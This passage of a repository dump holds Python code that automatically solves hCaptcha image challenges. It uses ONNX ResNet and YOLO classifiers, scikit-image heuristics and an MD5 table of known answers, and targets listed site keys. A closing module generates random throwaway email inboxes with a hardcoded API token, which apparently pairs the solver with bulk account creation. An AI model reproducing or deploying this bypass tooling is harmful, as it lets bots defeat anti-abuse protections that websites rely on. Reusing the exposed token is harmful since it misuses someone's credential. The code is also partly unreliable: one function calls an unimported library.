"一匹由云制成的马" ] 55 | en: [ "horse made of clouds" ] 56 | horse_facing_to_the_left: 57 | zh: [ "朝左马" ] 58 | en: [ "horse facing to the left" ] 59 | horse_facing_to_the_right: 60 | zh: [ "面向右侧的马" ] 61 | en: [ "horse facing to the right" ] 62 | horse_with_white_legs: 63 | zh: [ "白腿马" ] 64 | en: [ "horse with white legs" ] 65 | horse_walking_or_running: 66 | zh: [ "马在行走或奔跑","马步行或奔跑" ] 67 | en: [ "horse walking or running" ] 68 | 69 | smiling_dog: 70 | zh: [ "微笑狗" ] 71 | en: [ "smiling dog" ] 72 | dog_with_a_collar_on_its_neck: 73 | zh: [ "一条脖子上有项圈的狗" ] 74 | en: [ "dog with a collar on its neck" ] 75 | 76 | kitten: 77 | zh: [ "小猫", "一只小猫" ] 78 | en: [ "kitten", "baby cat" ] 79 | adult_cat: 80 | zh: [ "成年猫" ] 81 | en: [ "adult cat" ] 82 | cat_with_long_hair: 83 | zh: [ "长毛猫", "厚毛猫" ] 84 | en: [ "cat with long hair", "cat with thick fur" ] 85 | cat_with_short_hair: 86 | zh: [ "短毛猫" ] 87 | en: [ "cat with short hair" ] 88 | 89 | bird_flying: 90 | zh: [ "一只飞翔的鸟" ] 91 | en: [ "bird flying" ] 92 | bird_on_a_branch: 93 | zh: [ "树枝上的鸟" ] 94 | en: [ "bird on a branch" ] 95 | 96 | broken_glass_bottle: 97 | zh: [ "破碎玻璃瓶" ] 98 | en: [ "broken glass bottle" ] 99 | whole_glass_bottle: 100 | zh: [ "整个玻璃瓶" ] 101 | en: [ "whole glass bottle" ] 102 | porcelain_teacup: 103 | zh: [ "类似瓷器设" ] 104 | en: [ "teacup with similar porcelain design pattern" ] 105 | 106 | fish_jumping_over_the_water: 107 | zh: [ "鱼跃过水面" ] 108 | en: [ "fish jumping over the water" ] 109 | fish_underwater: 110 | zh: [ "水下鱼" ] 111 | en: [ "fish underwater" ] 112 | 113 | dog_shaped_cookie: 114 | zh: [ "狗形饼干" ] 115 | en: [ "dog-shaped cookie" ] 116 | cat_shaped_cookie: 117 | zh: [ "猫形饼干" ] 118 | en: [ "cat-shaped cookie" ] 119 | 120 | flower_in_a_vase: 121 | zh: [ "花瓶中的花" ] 122 | en: [ "flower in a vase" ] 123 | plant_hanging_from_the_ceiling: 124 | zh: [ "悬挂在天花板上的植物" ] 125 | en: [ "plant hanging from the ceiling" ] 126 | plant_on_the_table: 127 | zh: [ "植物在桌上" ] 128 | en: [ "plant on the table" ] 129 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/2/15 17:42 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import os 7 | from os.path import dirname, join 8 | 9 | HCAPTCHA_DEMO_API = "https://accounts.hcaptcha.com/demo?sitekey={}" 10 | _SITE_KEYS = { 11 | "epic": "91e4137f-95af-4bc9-97af-cdcedce21c8c", 12 | "hcaptcha": "00000000-0000-0000-0000-000000000000", 13 | "discord": "f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34", 14 | "oracle": "d857545c-9806-4f9e-8e9d-327f565aeb46", 15 | "publisher": "c86d730b-300a-444c-a8c5-5312e7a93628", 16 | } 17 | 18 | # https://www.wappalyzer.com/technologies/security/hcaptcha/ 19 | HCAPTCHA_DEMO_SITES = [ 20 | # [√] label: Tags follow point-in-time changes 21 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["publisher"]), 22 | # [√] label: `vertical river` 23 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["oracle"]), 24 | # [x] label: `airplane in the sky flying left` 25 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["discord"]), 26 | # [√] label: hcaptcha-challenger 27 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["hcaptcha"]), 28 | ] 29 | 30 | # --------------------------------------------------- 31 | # [√]Lock the project directory 32 | # --------------------------------------------------- 33 | # Source root directory 34 | PROJECT_ROOT = dirname(dirname(__file__)) 35 | 36 | # File database directory 37 | PROJECT_DATABASE = join(PROJECT_ROOT, "database") 38 | 39 | # The storage directory of the YOLO object detection model 40 | DIR_MODEL = join(PROJECT_ROOT, "model") 41 | 42 | PATH_RAINBOW_YAML = join(DIR_MODEL, "rainbow.yaml") 43 | 44 | # Run cache directory 45 | DIR_TEMP_CACHE = join(PROJECT_DATABASE, "temp_cache") 46 | 47 | # Directory for challenge images 48 | DIR_CHALLENGE = join(DIR_TEMP_CACHE, "_challenge") 49 | 50 | # Service log directory 51 | DIR_LOG = join(PROJECT_DATABASE, "logs") 52 | 53 | # Settings of pluggable ONNX models 54 | HCAPTCHA_ROOT = dirname(__file__) 55 | 56 | PATH_OBJECTS_YAML = join(HCAPTCHA_ROOT, "objects.yaml") 57 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/solutions/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/3/2 0:52 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/solutions/kernel.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/4/30 22:34 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import hashlib 7 | import os 8 | from typing import Optional 9 | 10 | import requests 11 | import yaml 12 | 13 | 14 | class ChallengeStyle: 15 | WATERMARK = 100 16 | GENERAL = 128 17 | GAN = 144 18 | 19 | 20 | class Solutions: 21 | RAINBOW_TABLE = {} 22 | 23 | def __init__(self, name: str, path_rainbow: str = None): 24 | self.path_rainbow = "rainbow.yaml" if path_rainbow is None else path_rainbow 25 | self.flag = name 26 | self.rainbow_table = self.build_rainbow(path_rainbow=self.path_rainbow) 27 | 28 | @staticmethod 29 | def sync_rainbow(path_rainbow: str, convert: Optional[bool] = False): 30 | """ 31 | 同步强化彩虹表 32 | :param path_rainbow: 33 | :param convert: 强制同步 34 | :return: 35 | """ 36 | rainbow_obj = { 37 | "name": "rainbow_table", 38 | "path": path_rainbow, 39 | "src": "https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/rainbow.yaml", 40 | } 41 | 42 | if convert or not os.path.exists(rainbow_obj["path"]): 43 | print( 44 | f"Downloading {rainbow_obj['name']} from {rainbow_obj['src']}") 45 | with httpx.stream(method="GET", url=rainbow_obj["src"]) as response, open( 46 | rainbow_obj["path"], "wb" 47 | ) as file: 48 | for chunk in response.iter_content(chunk_size=1024): 49 | if chunk: 50 | file.write(chunk) 51 | 52 | @staticmethod 53 | def build_rainbow(path_rainbow: str) -> Optional[dict]: 54 | """ 55 | 56 | :param path_rainbow: 57 | :return: 58 | """ 59 | if Solutions.RAINBOW_TABLE: 60 | return Solutions.RAINBOW_TABLE 61 | 62 | if os.path.exists(path_rainbow): 63 | with open(path_rainbow, "r", encoding="utf8") as file: 64 | stream = yaml.safe_load(file) 65 | Solutions.RAINBOW_TABLE = stream if isinstance( 66 | stream, dict) else {} 67 | 68 | return Solutions.RAINBOW_TABLE 69 | 70 | def match_rainbow(self, img_stream: bytes, rainbow_key: str) -> Optional[bool]: 71 | """ 72 | 73 | :param img_stream: 74 | :param rainbow_key: 75 | :return: 76 | """ 77 | try: 78 | if self.rainbow_table[rainbow_key]["yes"].get(hashlib.md5(img_stream).hexdigest()): 79 | return True 80 | if self.rainbow_table[rainbow_key]["bad"].get(hashlib.md5(img_stream).hexdigest()): 81 | return False 82 | except KeyError: 83 | pass 84 | return None 85 | 86 | @staticmethod 87 | def download_model_( 88 | dir_model, path_model, model_src, model_name, upgrade: Optional[bool] = None 89 | ): 90 | """Download the de-stylized binary classification model""" 91 | upgrade = bool(upgrade) 92 | 93 | os.makedirs(dir_model, exist_ok=True) 94 | 95 | if os.path.exists(path_model) and not upgrade: 96 | return 97 | 98 | if not model_src.lower().startswith("http"): 99 | raise ValueError from None 100 | 101 | print(f"Downloading {model_name} from {model_src}") 102 | with requests.get(model_src, stream=True) as response, open(path_model, "wb") as file: 103 | for chunk in response.iter_content(chunk_size=1024): 104 | if chunk: 105 | file.write(chunk) 106 | 107 | def solution(self, img_stream, **kwargs) -> bool: 108 | """Implementation process of solution""" 109 | raise NotImplementedError 110 | 111 | def solution_dev(self, src_dir: str, **kwargs): 112 | if not os.path.exists(src_dir): 113 | return 114 | _suffix = ".png" 115 | for _prefix, _, files in os.walk(src_dir): 116 | for filename in files: 117 | if not filename.endswith(_suffix): 118 | continue 119 | path_img = os.path.join(_prefix, filename) 120 | with open(path_img, "rb") as file: 121 | yield path_img, self.solution(file.read(), **kwargs) 122 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/solutions/resnet.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/4/30 17:00 3 | # Author : Bingjie Yan 4 | # Github : https://github.com/beiyuouo 5 | # Description: 6 | import os 7 | import warnings 8 | from os import PathLike 9 | from typing import List, Callable, Union, Optional, Dict 10 | 11 | import cv2 12 | import numpy as np 13 | import yaml 14 | from scipy.cluster.vq import kmeans2 15 | 16 | from .kernel import ChallengeStyle 17 | from .kernel import Solutions 18 | 19 | warnings.filterwarnings("ignore", category=UserWarning) 20 | 21 | 22 | class ResNetFactory(Solutions): 23 | def __init__(self, _onnx_prefix, _name, _dir_model: str, path_rainbow=None): 24 | """ 25 | 26 | :param _name: 日志打印显示的标记 27 | :param _dir_model: 模型所在的本地目录 28 | :param _onnx_prefix: 模型文件名，远程仓库文件和本地的一致。也用于拼接下载链接，因此该参数不允许用户自定义， 29 | 仅支持在范围内选择。 30 | :param path_rainbow: 彩虹表本地路径，可选。 31 | """ 32 | super().__init__(_name, path_rainbow=path_rainbow) 33 | self.dir_model = _dir_model 34 | self.onnx_model = { 35 | "name": _name, 36 | "path": os.path.join(_dir_model, f"{_onnx_prefix}.onnx"), 37 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{_onnx_prefix}.onnx", 38 | } 39 | 40 | self.download_model() 41 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"]) 42 | 43 | def download_model(self, upgrade: Optional[bool] = None): 44 | """Download the ResNet ONNX classification model""" 45 | Solutions.download_model_( 46 | dir_model=self.dir_model, 47 | path_model=self.onnx_model["path"], 48 | model_src=self.onnx_model["src"], 49 | model_name=self.onnx_model["name"], 50 | upgrade=upgrade, 51 | ) 52 | 53 | def classifier( 54 | self, img_stream, rainbow_key, feature_filters: Union[Callable, List[Callable]] = None 55 | ): 56 | match_output = self.match_rainbow(img_stream, rainbow_key) 57 | if match_output is not None: 58 | return match_output 59 | 60 | img_arr = np.frombuffer(img_stream, np.uint8) 61 | img = cv2.imdecode(img_arr, flags=1) 62 | 63 | # fixme: dup-code 64 | if img.shape[0] == ChallengeStyle.WATERMARK: 65 | img = cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21) 66 | 67 | if feature_filters is not None: 68 | if not isinstance(feature_filters, list): 69 | feature_filters = [feature_filters] 70 | for tnt in feature_filters: 71 | if not tnt(img): 72 | return False 73 | 74 | img = cv2.resize(img, (64, 64)) 75 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (64, 64), (0, 0, 0), swapRB=True, crop=False) 76 | 77 | self.net.setInput(blob) 78 | out = self.net.forward() 79 | 80 | if not np.argmax(out, axis=1)[0]: 81 | return True 82 | return False 83 | 84 | def solution(self, img_stream, **kwargs) -> bool: 85 | """Implementation process of solution""" 86 | 87 | 88 | class FingersOfTheGolderOrder(ResNetFactory): 89 | """Res Net model factory, used to produce abstract model call interface.""" 90 | 91 | def __init__(self, onnx_prefix: str, dir_model: str, path_rainbow=None): 92 | self.rainbow_key = onnx_prefix 93 | super().__init__(onnx_prefix, f"{onnx_prefix}(ResNet)_model", dir_model, path_rainbow) 94 | 95 | def solution(self, img_stream, **kwargs) -> bool: 96 | return self.classifier(img_stream, self.rainbow_key, feature_filters=None) 97 | 98 | 99 | class ElephantsDrawnWithLeaves(ResNetFactory): 100 | """Handle challenge 「Please select all the elephants drawn with leaves」""" 101 | 102 | def __init__(self, dir_model, path_rainbow=None): 103 | _onnx_prefix = "elephants_drawn_with_leaves" 104 | self.rainbow_key = _onnx_prefix.replace("_", " ") 105 | super().__init__( 106 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow 107 | ) 108 | 109 | @staticmethod 110 | def is_drawn_with_leaves(img) -> bool: 111 | img = np.array(img) 112 | 113 | img = img.reshape((img.shape[0] * img.shape[1], img.shape[2])).astype(np.float64) 114 | centroid, label = kmeans2(img, k=3) 115 | 116 | green_centroid = np.array([0.0, 255.0, 0.0]) 117 | 118 | min_dis = np.inf 119 | for i, _ in enumerate(centroid): 120 | min_dis = min(min_dis, np.linalg.norm(centroid[i] - green_centroid)) 121 | 122 | if min_dis < 200: 123 | return True 124 | return False 125 | 126 | def solution(self, img_stream, **kwargs) -> bool: 127 | return self.classifier( 128 | img_stream, self.rainbow_key, feature_filters=self.is_drawn_with_leaves 129 | ) 130 | 131 | 132 | class HorsesDrawnWithFlowers(ResNetFactory): 133 | """Handle challenge「Please select all the horses drawn with flowers」""" 134 | 135 | def __init__(self, dir_model, path_rainbow=None): 136 | _onnx_prefix = "horses_drawn_with_flowers" 137 | self.rainbow_key = _onnx_prefix.replace("_", " ") 138 | super().__init__( 139 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow 140 | ) 141 | 142 | def solution(self, img_stream, **kwargs) -> bool: 143 | """Implementation process of solution""" 144 | 145 | 146 | class PluggableONNXModels: 147 | """ 148 | Manage pluggable models. Provides high-level interfaces 149 | such as model download, model cache, and model scheduling. 150 | """ 151 | 152 | def __init__(self, path_objects_yaml: str): 153 | self.fingers = [] 154 | self.label_alias = {i: {} for i in ["zh", "en"]} 155 | self._register(path_objects_yaml) 156 | 157 | def _register(self, path_objects_yaml): 158 | """ 159 | Register pluggable ONNX models from `objects.yaml`. 160 | 161 | :type path_objects_yaml: str 162 | :rtype: List[str] 163 | :rtype: None 164 | """ 165 | if not path_objects_yaml or not os.path.exists(path_objects_yaml): 166 | return 167 | 168 | with open(path_objects_yaml, "r", encoding="utf8") as file: 169 | data: Dict[str, dict] = yaml.safe_load(file.read()) 170 | 171 | label_to_i18ndict = data.get("label_alias", {}) 172 | if not label_to_i18ndict: 173 | return 174 | 175 | for model_label, i18n_to_raw_labels in label_to_i18ndict.items(): 176 | self.fingers.append(model_label) 177 | for lang, prompt_labels in i18n_to_raw_labels.items(): 178 | for prompt_label in prompt_labels: 179 | self.label_alias[lang].update({prompt_label.strip(): model_label}) 180 | 181 | def summon(self, dir_model, path_rainbow=None, upgrade=None): 182 | """ 183 | Download ONNX models from upstream repositories, 184 | skipping installed model files by default. 185 | 186 | :type dir_model: str 187 | :type path_rainbow: str | None 188 | :type upgrade: bool | None 189 | :rtype: None 190 | """ 191 | for finger in self.fingers: 192 | FingersOfTheGolderOrder(finger, dir_model, path_rainbow).download_model(upgrade) 193 | 194 | def overload(self, dir_model, path_rainbow=None): 195 | """ 196 | Load the ONNX model into memory. 197 | Executed before the task starts. 198 | 199 | :type dir_model: str 200 | :type path_rainbow: str | None 201 | :rtype: Dict[str, FingersOfTheGolderOrder] 202 | """ 203 | return { 204 | finger: FingersOfTheGolderOrder(finger, dir_model, path_rainbow) 205 | for finger in self.fingers 206 | } 207 | 208 | def black_knife(self, label_alias, dir_model, path_rainbow=None): 209 | """ 210 | Use to summon the spirit of Black Knife Tiche. 211 | 212 | :type label_alias: str 213 | :type dir_model: PathLike[str] 214 | :type path_rainbow: PathLike[str] | None 215 | :rtype: None 216 | """ 217 | 218 | def mimic_tear(self): 219 | """ 220 | This spirit takes the form of the summoner to fight alongside them, 221 | but its mimicry does not extend to imitating the summoner's will. 222 | 223 | :rtype: None 224 | """ 225 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/solutions/sk_recognition.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022-03-01 20:32 3 | # Author : Bingjie Yan 4 | # Github : https://github.com/beiyuouo 5 | # Description: 6 | import time 7 | from typing import Optional 8 | 9 | import cv2 10 | import numpy as np 11 | from skimage import feature 12 | from skimage.future import graph 13 | from skimage.segmentation import slic 14 | 15 | from .kernel import Solutions 16 | 17 | 18 | class SKRecognition(Solutions): 19 | def __init__(self, path_rainbow: Optional[str] = None): 20 | super().__init__("skimage_model", path_rainbow) 21 | 22 | @staticmethod 23 | def _weight_mean_color(graph_, src: int, dst: int, n: int): # noqa 24 | """Callback to handle merging nodes by recomputing mean color. 25 | 26 | The method expects that the mean color of `dst` is already computed. 27 | 28 | Parameters 29 | ---------- 30 | graph_ : RAG 31 | The graph under consideration. 32 | src, dst : int 33 | The vertices in `graph` to be merged. 34 | n : int 35 | A neighbor of `src` or `dst` or both. 36 | 37 | Returns 38 | ------- 39 | data : dict 40 | A dictionary with the `"weight"` attribute set as the absolute 41 | difference of the mean color between node `dst` and `n`. 42 | """ 43 | 44 | diff = graph_.nodes[dst]["mean color"] - graph_.nodes[n]["mean color"] 45 | diff = np.linalg.norm(diff) 46 | return {"weight": diff} 47 | 48 | @staticmethod 49 | def _merge_mean_color(graph_, src: int, dst: int): 50 | """Callback called before merging two nodes of a mean color distance graph. 51 | 52 | This method computes the mean color of `dst`. 53 | 54 | Parameters 55 | ---------- 56 | graph_ : RAG 57 | The graph under consideration. 58 | src, dst : int 59 | The vertices in `graph` to be merged. 60 | """ 61 | graph_.nodes[dst]["total color"] += graph_.nodes[src]["total color"] 62 | graph_.nodes[dst]["pixel count"] += graph_.nodes[src]["pixel count"] 63 | graph_.nodes[dst]["mean color"] = ( 64 | graph_.nodes[dst]["total color"] / graph_.nodes[dst]["pixel count"] 65 | ) 66 | 67 | @staticmethod 68 | def _remove_border(img): 69 | img[:, 1] = 0 70 | img[:, -2] = 0 71 | img[1, :] = 0 72 | img[-2, :] = 0 73 | return img 74 | 75 | def solution(self, img_stream, **kwargs) -> bool: 76 | """Implementation process of solution""" 77 | raise NotImplementedError 78 | 79 | 80 | class VerticalRiverRecognition(SKRecognition): 81 | """A fast solution for identifying vertical rivers""" 82 | 83 | def __init__(self, path_rainbow: Optional[str] = None): 84 | super().__init__(path_rainbow=path_rainbow) 85 | self.rainbow_key = "vertical river" 86 | 87 | def solution(self, img_stream, **kwargs) -> bool: 88 | """Implementation process of solution""" 89 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 90 | if match_output is not None: 91 | return match_output 92 | 93 | img_arr = np.frombuffer(img_stream, np.uint8) 94 | img = cv2.imdecode(img_arr, flags=1) 95 | 96 | img = cv2.pyrMeanShiftFiltering(img, sp=10, sr=40) 97 | img = cv2.bilateralFilter(img, d=9, sigmaColor=100, sigmaSpace=75) 98 | 99 | labels = slic(img, compactness=30, n_segments=400, start_label=1) 100 | g = graph.rag_mean_color(img, labels) 101 | 102 | labels2 = graph.merge_hierarchical( 103 | labels, 104 | g, 105 | thresh=35, 106 | rag_copy=False, 107 | in_place_merge=True, 108 | merge_func=self._merge_mean_color, 109 | weight_func=self._weight_mean_color, 110 | ) 111 | 112 | return len(np.unique(labels2[-1])) >= 3 113 | 114 | 115 | class LeftPlaneRecognition(SKRecognition): 116 | """A fast solution for identifying `airplane in the sky flying left`""" 117 | 118 | def __init__(self, path_rainbow: Optional[str] = None): 119 | super().__init__(path_rainbow=path_rainbow) 120 | self.sky_threshold = 1800 121 | self.left_threshold = 30 122 | self.rainbow_key = "airplane in the sky flying left" 123 | 124 | def solution(self, img_stream: bytes, **kwargs) -> bool: 125 | """Implementation process of solution""" 126 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 127 | if match_output is not None: 128 | return match_output 129 | 130 | img_arr = np.frombuffer(img_stream, np.uint8) 131 | img = cv2.imdecode(img_arr, flags=1) 132 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 133 | 134 | edges1 = feature.canny(img) 135 | edges1 = self._remove_border(edges1) 136 | 137 | # on the ground 138 | if np.count_nonzero(edges1) > self.sky_threshold: 139 | return False 140 | 141 | min_x = np.min(np.nonzero(edges1), axis=1)[1] 142 | max_x = np.max(np.nonzero(edges1), axis=1)[1] 143 | 144 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)]) 145 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x]) 146 | 147 | # Flying towards the right 148 | if left_nonzero > right_nonzero: 149 | return False 150 | 151 | time.sleep(0.25) 152 | return True 153 | 154 | 155 | class RightPlaneRecognition(SKRecognition): 156 | def __init__(self, path_rainbow: Optional[str] = None): 157 | super().__init__(path_rainbow=path_rainbow) 158 | self.sky_threshold = 1800 159 | self.left_threshold = 30 160 | self.rainbow_key = "airplanes in the sky that are flying to the right" 161 | 162 | def solution(self, img_stream: bytes, **kwargs) -> bool: 163 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key) 164 | if match_output is not None: 165 | return match_output 166 | 167 | img_arr = np.frombuffer(img_stream, np.uint8) 168 | img = cv2.imdecode(img_arr, flags=1) 169 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 170 | 171 | edges1 = feature.canny(img) 172 | edges1 = self._remove_border(edges1) 173 | 174 | # On the ground 175 | if np.count_nonzero(edges1) > self.sky_threshold: 176 | return False 177 | 178 | min_x = np.min(np.nonzero(edges1), axis=1)[1] 179 | max_x = np.max(np.nonzero(edges1), axis=1)[1] 180 | 181 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)]) 182 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x]) 183 | 184 | # Flying towards the left 185 | if left_nonzero < right_nonzero: 186 | return False 187 | 188 | time.sleep(0.15) 189 | return True 190 | -------------------------------------------------------------------------------- /Version 1/hcaptcha_challenger/solutions/yolo.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Time : 2022/3/2 0:52 3 | # Author : QIN2DIM 4 | # Github : https://github.com/QIN2DIM 5 | # Description: 6 | import os 7 | 8 | import cv2 9 | import numpy as np 10 | 11 | from .kernel import ChallengeStyle 12 | from .kernel import Solutions 13 | 14 | 15 | class YOLO: 16 | """YOLO model for image classification""" 17 | 18 | classes = [ 19 | "person", 20 | "bicycle", 21 | "car", 22 | "motorcycle", 23 | "airplane", 24 | "bus", 25 | "train", 26 | "truck", 27 | "boat", 28 | "traffic light", 29 | "fire hydrant", 30 | "stop sign", 31 | "parking meter", 32 | "bench", 33 | "bird", 34 | "cat", 35 | "dog", 36 | "horse", 37 | "sheep", 38 | "cow", 39 | "elephant", 40 | "bear", 41 | "zebra", 42 | "giraffe", 43 | "backpack", 44 | "umbrella", 45 | "handbag", 46 | "tie", 47 | "suitcase", 48 | "frisbee", 49 | "skis", 50 | "snowboard", 51 | "sports ball", 52 | "kite", 53 | "baseball bat", 54 | "baseball glove", 55 | "skateboard", 56 | "surfboard", 57 | "tennis racket", 58 | "bottle", 59 | "wine glass", 60 | "cup", 61 | "fork", 62 | "knife", 63 | "spoon", 64 | "bowl", 65 | "banana", 66 | "apple", 67 | "sandwich", 68 | "orange", 69 | "broccoli", 70 | "carrot", 71 | "hot dog", 72 | "pizza", 73 | "donut", 74 | "cake", 75 | "chair", 76 | "couch", 77 | "potted plant", 78 | "bed", 79 | "dining table", 80 | "toilet", 81 | "tv", 82 | "laptop", 83 | "mouse", 84 | "remote", 85 | "keyboard", 86 | "cell phone", 87 | "microwave", 88 | "oven", 89 | "toaster", 90 | "sink", 91 | "refrigerator", 92 | "book", 93 | "clock", 94 | "vase", 95 | "scissors", 96 | "teddy bear", 97 | "hair drier", 98 | "toothbrush", 99 | ] 100 | 101 | def __init__(self, dir_model: str = None, onnx_prefix: str = None): 102 | self.dir_model = "./model" if dir_model is None else dir_model 103 | 104 | # Select default onnx model. 105 | self.onnx_prefix = ( 106 | "yolov5s6" 107 | if onnx_prefix 108 | not in [ 109 | # Reference - Ultralytics YOLOv5 https://github.com/ultralytics/yolov5 110 | "yolov5m6", 111 | "yolov5s6", 112 | "yolov5n6", 113 | # Reference - MT-YOLOv6 https://github.com/meituan/YOLOv6 114 | "yolov6n", 115 | "yolov6s", 116 | "yolov6t", 117 | # "yolov7" # Vision Transformer 118 | ] 119 | else onnx_prefix 120 | ) 121 | 122 | self.name = f"YOLOv5{self.onnx_prefix[-2:]}" 123 | if self.onnx_prefix.startswith("yolov6"): 124 | self.name = f"MT-YOLOv6{self.onnx_prefix[-1]}" 125 | 126 | self.onnx_model = { 127 | "name": f"{self.name}(ONNX)_model", 128 | "path": os.path.join(self.dir_model, f"{self.onnx_prefix}.onnx"), 129 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{self.onnx_prefix}.onnx", 130 | } 131 | 132 | self.flag = self.onnx_model["name"] 133 | 134 | self.download_model() 135 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"]) 136 | 137 | def download_model(self): 138 | """Download YOLOv5(ONNX) model""" 139 | Solutions.download_model_( 140 | dir_model=self.dir_model, 141 | path_model=self.onnx_model["path"], 142 | model_src=self.onnx_model["src"], 143 | model_name=self.onnx_model["name"], 144 | upgrade=False, 145 | ) 146 | 147 | def detect_common_objects(self, img: np.ndarray, confidence=0.4, nms_thresh=0.4): 148 | """ 149 | Object Detection 150 | 151 | Get multiple labels identified in a given image 152 | 153 | :param img: 154 | :param confidence: 155 | :param nms_thresh: 156 | :return: bbox, label, conf 157 | """ 158 | height, width = img.shape[:2] 159 | 160 | class_ids = [] 161 | confidences = [] 162 | boxes = [] 163 | 164 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (128, 128), (0, 0, 0), swapRB=True, crop=False) 165 | 166 | self.net.setInput(blob) 167 | outs = self.net.forward() 168 | 169 | for out in outs: 170 | for detection in out: 171 | scores = detection[5:] 172 | class_id = np.argmax(scores) 173 | max_conf = scores[class_id] 174 | if max_conf > confidence: 175 | center_x = int(detection[0] * width) 176 | center_y = int(detection[1] * height) 177 | w = int(detection[2] * width) 178 | h = int(detection[3] * height) 179 | x = center_x - (w / 2) 180 | y = center_y - (h / 2) 181 | class_ids.append(class_id) 182 | confidences.append(float(max_conf)) 183 | boxes.append([x, y, w, h]) 184 | 185 | indices = cv2.dnn.NMSBoxes(boxes, confidences, confidence, nms_thresh) 186 | 187 | return [str(self.classes[class_ids[i]]) for i in indices] 188 | 189 | def solution(self, img_stream: bytes, label: str, **kwargs) -> bool: 190 | """ 191 | Implementation process of solution. 192 | 193 | with open(img_filepath, "rb") as file: 194 | data = file.read() 195 | solution(img_stream=data, label="truck") 196 | 197 | :param img_stream: image file binary stream 198 | :param label: 199 | :param kwargs: 200 | :return: 201 | """ 202 | confidence = kwargs.get("confidence", 0.4) 203 | nms_thresh = kwargs.get("nms_thresh", 0.4) 204 | 205 | np_array = np.frombuffer(img_stream, np.uint8) 206 | img = cv2.imdecode(np_array, flags=1) 207 | img = ( 208 | cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21) 209 | if img.shape[0] == ChallengeStyle.WATERMARK 210 | else img 211 | ) 212 | try: 213 | labels = self.detect_common_objects(img, confidence, nms_thresh) 214 | return bool(label in labels) 215 | # patch for `ValueError: attempt to get argmax of an empty sequence.` 216 | # at code `class_id=np.argmax(scores)` 217 | except ValueError: 218 | return False 219 | -------------------------------------------------------------------------------- /Version 1/mailinfo.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import random 4 | import string 5 | 6 | class MailInfo: 7 | global DOMAINS 8 | global DOMAIN 9 | global TOKEN 10 | 11 | with open("config.json", "r") as conf: config = json.load(conf) 12 | DOMAINS = config["EMAIL STUFF"]["CUSTOM DOMAINS"] 13 | DOMAIN = random.choice(DOMAINS) 14 | TOKEN = "qgk2auEHq94bq5w8s_Fk78Iyt3xJrs9U7ESND5SHWbo" 15 | 16 | def generateInbox(rush=False): 17 | CHARS = string.ascii_letters + string.digits 18 | ALIAS = "".join(random.choice(CHARS) for _ in range(11)) 19 | EMAIL = f"{ALIAS}@{DOMAIN}" 20 | return Inbox(EMAIL, TOKEN) 21 | 22 | """ 23 | getEmail gets the emails from an inbox object 24 | and returns a list of Email objects 25 | """ 26 | 27 | def getEmails(inbox): 28 | s = TempMail.makeHTTPRequest(f"/custom/{TOKEN}/{DOMAIN}") 29 | data = json.loads(s) 30 | 31 | # if no emails are found, return an empty list 32 | # else return a list of email 33 | if data["email"] == None: 34 | return ["None"] 35 | else: 36 | emails = [] 37 | for email in data["email"]: 38 | emails.append(Email(email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"])) 39 | return emails 40 | 41 | 42 | class Email: 43 | def __init__(self, sender, recipient, subject, body, html, date): 44 | # make the propertys immutable using @property 45 | self._sender = sender 46 | self._recipient = recipient 47 | self._subject = subject 48 | self._body = body 49 | self._html = html 50 | self._date = date 51 | 52 | @property 53 | def sender(self): 54 | return self._sender 55 | 56 | @property 57 | def recipient(self): 58 | return self._recipient 59 | 60 | @property 61 | def subject(self): 62 | return self._subject 63 | 64 | @property 65 | def body(self): 66 | return self._body 67 | 68 | @property 69 | def html(self): 70 | return self._html 71 | 72 | @property 73 | def date(self): 74 | return self._date 75 | 76 | def __repr__(self): 77 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )".format(self.sender, self.recipient, self.subject, self.body, self.html, self.date)) 78 | 79 | 80 | class 